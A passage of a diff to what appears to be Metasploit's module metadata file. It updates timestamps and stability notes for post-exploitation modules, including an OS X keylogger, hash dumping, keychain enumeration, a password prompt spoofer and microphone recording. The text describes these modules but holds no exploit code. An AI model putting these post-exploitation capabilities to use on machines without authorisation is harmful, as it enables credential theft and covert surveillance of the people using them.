"ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/zip": { "name": "Multi Manage File Compressor", "fullname": "post/multi/manage/zip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269705,16 +270365,14 @@ "sinn3r " ], "description": "This module zips a file or a directory. On Linux, it uses the zip command.\n On Windows, it will try to use remote target's 7Zip if found. If not, it falls\n back to its Windows Scripting Host.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/manage/zip.rb", "is_install_path": true, "ref_name": "multi/manage/zip", @@ -269722,22 +270380,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/local_exploit_suggester": { "name": "Multi Recon Local Exploit Suggester", "fullname": "post/multi/recon/local_exploit_suggester", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269745,17 +270404,15 @@ "sinn3r ", "Mo" ], - "description": "This module suggests local meterpreter exploits that can be used.\n\n The exploits are suggested based on the architecture and platform\n that the user has a shell opened as well as the available exploits\n in meterpreter.\n\n It's important to note that not all local exploits will be fired.\n Exploits are chosen based on these conditions: session type,\n platform, architecture, and required default options.", - "references": [ - - ], + "description": "This module suggests local Metasploit exploits that can be used.\n\n The exploits are suggested based on the architecture and platform\n that the user has a shell opened as well as the available exploits\n in meterpreter.\n\n It's important to note that not all local exploits will be fired.\n Exploits are chosen based on these conditions: session type,\n platform, architecture, and required default options.", + "references": [], "platform": "AIX,Android,Apple_iOS,Arista,BSD,BSDi,Brocade,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Mikrotik,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 17:51:38 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/multi/recon/local_exploit_suggester.rb", "is_install_path": true, "ref_name": "multi/recon/local_exploit_suggester", @@ -269763,22 +270420,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/multiport_egress_traffic": { "name": "Generate TCP/UDP Outbound Traffic On Multiple Ports", "fullname": "post/multi/recon/multiport_egress_traffic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269786,16 +270448,14 @@ "Stuart Morgan " ], "description": "This module generates TCP or UDP traffic across a\n sequence of ports, and is useful for finding firewall\n holes and egress filtering. It only generates traffic\n on the port range you specify. It is up to you to\n run a responder or packet capture tool on a remote\n endpoint to determine which ports are open.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/recon/multiport_egress_traffic.rb", "is_install_path": true, "ref_name": "multi/recon/multiport_egress_traffic", @@ -269803,14 +270463,17 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/reverse_lookup": { "name": "Reverse Lookup IP Addresses", @@ -269826,9 +270489,7 @@ "mubix " ], "description": "This module reverse resolves an IP address or IP address range to hostnames.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269846,12 +270507,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -269859,16 +270516,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/sudo_commands": { "name": "Sudo Commands", "fullname": "post/multi/recon/sudo_commands", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269876,16 +270529,14 @@ "bcoles " ], "description": "This module examines the sudoers configuration for the session user\n and lists the commands executable via sudo.\n\n This module also inspects each command and reports potential avenues\n for privileged code execution due to poor file system permissions or\n permitting execution of executables known to be useful for privesc,\n such as utilities designed for file read/write, user modification,\n or execution of arbitrary operating system commands.\n\n Note, you may need to provide the password for the session user.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-10-08 09:50:25 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/recon/sudo_commands.rb", "is_install_path": true, "ref_name": "multi/recon/sudo_commands", @@ -269893,22 +270544,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/sap/smdagent_get_properties": { "name": "Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server", "fullname": "post/multi/sap/smdagent_get_properties", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269941,18 +270595,14 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_brocade": { "name": "Brocade Gather Device General Information", @@ -269967,16 +270617,14 @@ "h00die" ], "description": "This module collects Brocade device information and configuration.\n This module has been tested against an icx6430 running 08.0.20T311.", - "references": [ - - ], + "references": [], "platform": "Brocade", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 02:13:25 +0000", "path": "/modules/post/networking/gather/enum_brocade.rb", "is_install_path": true, "ref_name": "networking/gather/enum_brocade", @@ -269984,14 +270632,19 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_cisco": { "name": "Cisco Gather Device General Information", @@ -270006,9 +270659,7 @@ "Carlos Perez " ], "description": "This module collects a Cisco IOS or NXOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "Cisco", "arch": "", "rport": null, @@ -270029,24 +270680,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_f5": { "name": "F5 Gather Device General Information", "fullname": "post/networking/gather/enum_f5", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270054,9 +270699,7 @@ "h00die" ], "description": "This module collects a F5's device information and configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -270077,17 +270720,13 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_juniper": { "name": "Juniper Gather Device General Information", @@ -270102,16 +270741,14 @@ "h00die" ], "description": "This module collects a Juniper ScreenOS and JunOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "Juniper", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 02:13:25 +0000", "path": "/modules/post/networking/gather/enum_juniper.rb", "is_install_path": true, "ref_name": "networking/gather/enum_juniper", @@ -270119,21 +270756,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_mikrotik": { "name": "Mikrotik Gather Device General Information", "fullname": "post/networking/gather/enum_mikrotik", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270141,9 +270781,7 @@ "h00die" ], "description": "This module collects Mikrotik device information and configuration.\n This module has been tested against RouterOS 6.45.9.", - "references": [ - - ], + "references": [], "platform": "Mikrotik", "arch": "", "rport": null, @@ -270164,24 +270802,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_vyos": { "name": "VyOS Gather Device General Information", "fullname": "post/networking/gather/enum_vyos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270189,9 +270821,7 @@ "h00die" ], "description": "This module collects VyOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -270212,24 +270842,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/admin/say": { "name": "OS X Text to Speech Utility", "fullname": "post/osx/admin/say", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270246,7 +270870,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/admin/say.rb", "is_install_path": true, "ref_name": "osx/admin/say", @@ -270254,22 +270878,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "audio-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/capture/keylog_recorder": { "name": "OSX Capture Userspace Keylogger", "fullname": "post/osx/capture/keylog_recorder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270277,16 +270904,14 @@ "joev " ], "description": "Logs all keyboard events except cmd-keys and GUI password input.\n\n Keylogs are transferred between client/server in chunks\n every SYNCWAIT seconds for reliability.\n\n Works by calling the Carbon GetKeys() hook using the DL lib\n in OSX's system Ruby. The Ruby code is executed in a shell\n command using -e, so the payload never hits the disk.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/capture/keylog_recorder.rb", "is_install_path": true, "ref_name": "osx/capture/keylog_recorder", @@ -270294,22 +270919,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/capture/screen": { "name": "OSX Screen Capture", "fullname": "post/osx/capture/screen", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270317,16 +270943,14 @@ "Peter Toth " ], "description": "This module takes screenshots of target desktop and automatically downloads them.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/capture/screen.rb", "is_install_path": true, "ref_name": "osx/capture/screen", @@ -270334,22 +270958,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/escalate/tccbypass": { "name": "Bypass the macOS TCC Framework", "fullname": "post/osx/escalate/tccbypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270385,25 +271012,19 @@ "artifacts-on-disk", "screen-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/apfs_encrypted_volume_passwd": { "name": "Mac OS X APFS Encrypted Volume Password Disclosure", "fullname": "post/osx/gather/apfs_encrypted_volume_passwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-21", "type": "post", @@ -270422,7 +271043,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb", "is_install_path": true, "ref_name": "osx/gather/apfs_encrypted_volume_passwd", @@ -270430,22 +271051,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/autologin_password": { "name": "OSX Gather Autologin Password as Root", "fullname": "post/osx/gather/autologin_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270454,7 +271076,7 @@ ], "description": "This module will steal the plaintext password of any user on the machine\n with autologin enabled. Root access is required.\n\n When a user has autologin enabled (System Preferences -> Accounts), OSX\n stores their password with an XOR encoding in /private/etc/kcpassword.", "references": [ - "URL-http://www.brock-family.org/gavin/perl/kcpassword.html" + "URL-https://web.archive.org/web/20180408062145/http://www.brock-family.org/gavin/perl/kcpassword.html" ], "platform": "OSX", "arch": "", @@ -270462,7 +271084,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/autologin_password.rb", "is_install_path": true, "ref_name": "osx/gather/autologin_password", @@ -270470,22 +271092,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_adium": { "name": "OS X Gather Adium Enumeration", "fullname": "post/osx/gather/enum_adium", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270493,16 +271116,14 @@ "sinn3r " ], "description": "This module will collect Adium's account plist files and chat logs from the\n victim's machine. There are three different actions you may choose: ACCOUNTS,\n CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex\n 'PATTERN' option in order to look for certain log names (which consists of a\n contact's name, and a timestamp). The current 'PATTERN' option is configured to\n look for any log created on February 2012 as an example. To loot both account\n plists and chat logs, simply set the action to 'ALL'.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_adium.rb", "is_install_path": true, "ref_name": "osx/gather/enum_adium", @@ -270510,6 +271131,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -270534,9 +271162,7 @@ "post_osx/gather/enum_airport": { "name": "OS X Gather Airport Wireless Preferences", "fullname": "post/osx/gather/enum_airport", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270544,16 +271170,14 @@ "sinn3r " ], "description": "This module will download OS X Airport Wireless preferences from the victim\n machine. The preferences file (which is a plist) contains information such as:\n SSID, Channels, Security Type, Password ID, etc.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_airport.rb", "is_install_path": true, "ref_name": "osx/gather/enum_airport", @@ -270561,22 +271185,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_chicken_vnc_profile": { "name": "OS X Gather Chicken of the VNC Profile", "fullname": "post/osx/gather/enum_chicken_vnc_profile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270584,16 +271209,14 @@ "sinn3r " ], "description": "This module will download the \"Chicken of the VNC\" client application's\n profile file,\twhich is used to store other VNC servers' information such\n as the IP and password.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_chicken_vnc_profile.rb", "is_install_path": true, "ref_name": "osx/gather/enum_chicken_vnc_profile", @@ -270601,22 +271224,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_colloquy": { "name": "OS X Gather Colloquy Enumeration", "fullname": "post/osx/gather/enum_colloquy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270624,16 +271248,14 @@ "sinn3r " ], "description": "This module will collect Colloquy's info plist file and chat logs from the\n victim's machine. There are three actions you may choose: INFO, CHATS, and\n ALL. Please note that the CHAT action may take a long time depending on the\n victim machine, therefore we suggest to set the regex 'PATTERN' option in order\n to search for certain log names (which consists of the contact's name, and a\n timestamp). The default 'PATTERN' is configured as \"^alien\" as an example\n to search for any chat logs associated with the name \"alien\".", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_colloquy.rb", "is_install_path": true, "ref_name": "osx/gather/enum_colloquy", @@ -270641,6 +271263,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -270665,9 +271292,7 @@ "post_osx/gather/enum_keychain": { "name": "OS X Gather Keychain Enumeration", "fullname": "post/osx/gather/enum_keychain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270676,16 +271301,14 @@ "joev " ], "description": "This module presents a way to quickly go through the current user's keychains and\n collect data such as email accounts, servers, and other services. Please note:\n when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication\n alert flash briefly on their screen that gets dismissed by a programmatically triggered click.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/osx/gather/enum_keychain.rb", "is_install_path": true, "ref_name": "osx/gather/enum_keychain", @@ -270693,22 +271316,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_messages": { "name": "OS X Gather Messages", "fullname": "post/osx/gather/enum_messages", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270716,16 +271343,14 @@ "Geckom " ], "description": "This module will collect the Messages sqlite3 database files and chat logs\n from the victim's machine. There are four actions you may choose: DBFILE,\n READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and\n LATEST will retrieve the last X number of messages (useful with 2FA). Module\n was tested with OS X 10.11 (El Capitan).", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_messages.rb", "is_install_path": true, "ref_name": "osx/gather/enum_messages", @@ -270733,6 +271358,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -270761,9 +271391,7 @@ "post_osx/gather/enum_osx": { "name": "OS X Gather Mac OS X System Information Enumeration", "fullname": "post/osx/gather/enum_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270771,16 +271399,14 @@ "Carlos Perez " ], "description": "This module gathers basic system information from Mac OS X Tiger (10.4), through\n Mojave (10.14).", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/enum_osx.rb", "is_install_path": true, "ref_name": "osx/gather/enum_osx", @@ -270788,22 +271414,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/gitignore": { "name": "Git Ignore Retriever", "fullname": "post/osx/gather/gitignore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270811,9 +271440,7 @@ "N!ght Jmp" ], "description": "This module finds potentially sensitive items by finding .gitignore files.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270834,25 +271461,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/hashdump": { "name": "OS X Gather Mac OS X Password Hash Collector", "fullname": "post/osx/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270862,16 +271483,14 @@ "joev " ], "description": "This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\n versions 10.3 to 10.14.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/hashdump.rb", "is_install_path": true, "ref_name": "osx/gather/hashdump", @@ -270879,22 +271498,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/password_prompt_spoof": { "name": "OSX Password Prompt Spoof", "fullname": "post/osx/gather/password_prompt_spoof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270913,7 +271533,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/password_prompt_spoof.rb", "is_install_path": true, "ref_name": "osx/gather/password_prompt_spoof", @@ -270921,22 +271541,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/safari_lastsession": { "name": "OSX Gather Safari LastSession.plist", "fullname": "post/osx/gather/safari_lastsession", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270953,7 +271577,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/safari_lastsession.rb", "is_install_path": true, "ref_name": "osx/gather/safari_lastsession", @@ -270961,22 +271585,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/vnc_password_osx": { "name": "OS X Display Apple VNC Password", "fullname": "post/osx/gather/vnc_password_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270984,16 +271609,14 @@ "Kevin Gonzalvo " ], "description": "This module shows Apple VNC Password from Mac OS X High Sierra.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/gather/vnc_password_osx.rb", "is_install_path": true, "ref_name": "osx/gather/vnc_password_osx", @@ -271001,22 +271624,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/manage/mount_share": { "name": "OSX Network Share Mounter", "fullname": "post/osx/manage/mount_share", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271025,16 +271649,14 @@ "joev " ], "description": "This module lists saved network shares and tries to connect to them using stored\n credentials. This does not require root privileges.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/manage/mount_share.rb", "is_install_path": true, "ref_name": "osx/manage/mount_share", @@ -271042,6 +271664,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -271066,9 +271695,7 @@ "post_osx/manage/record_mic": { "name": "OSX Manage Record Microphone", "fullname": "post/osx/manage/record_mic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271076,16 +271703,14 @@ "joev " ], "description": "This module will allow the user to detect (with the LIST action) and\n capture (with the RECORD action) audio inputs on a remote OSX machine.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/manage/record_mic.rb", "is_install_path": true, "ref_name": "osx/manage/record_mic", @@ -271093,6 +271718,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" @@ -271112,9 +271742,7 @@ "post_osx/manage/sonic_pi": { "name": "OS X Manage Sonic Pi", "fullname": "post/osx/manage/sonic_pi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271134,7 +271762,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/manage/sonic_pi.rb", "is_install_path": true, "ref_name": "osx/manage/sonic_pi", @@ -271142,10 +271770,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], "SideEffects": [ "audio-effects", "screen-effects" - ] + ], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -271166,9 +271798,7 @@ "post_osx/manage/vpn": { "name": "OSX VPN Manager", "fullname": "post/osx/manage/vpn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271176,16 +271806,14 @@ "Peter Toth " ], "description": "This module lists VPN connections and tries to connect to them using stored credentials.", - 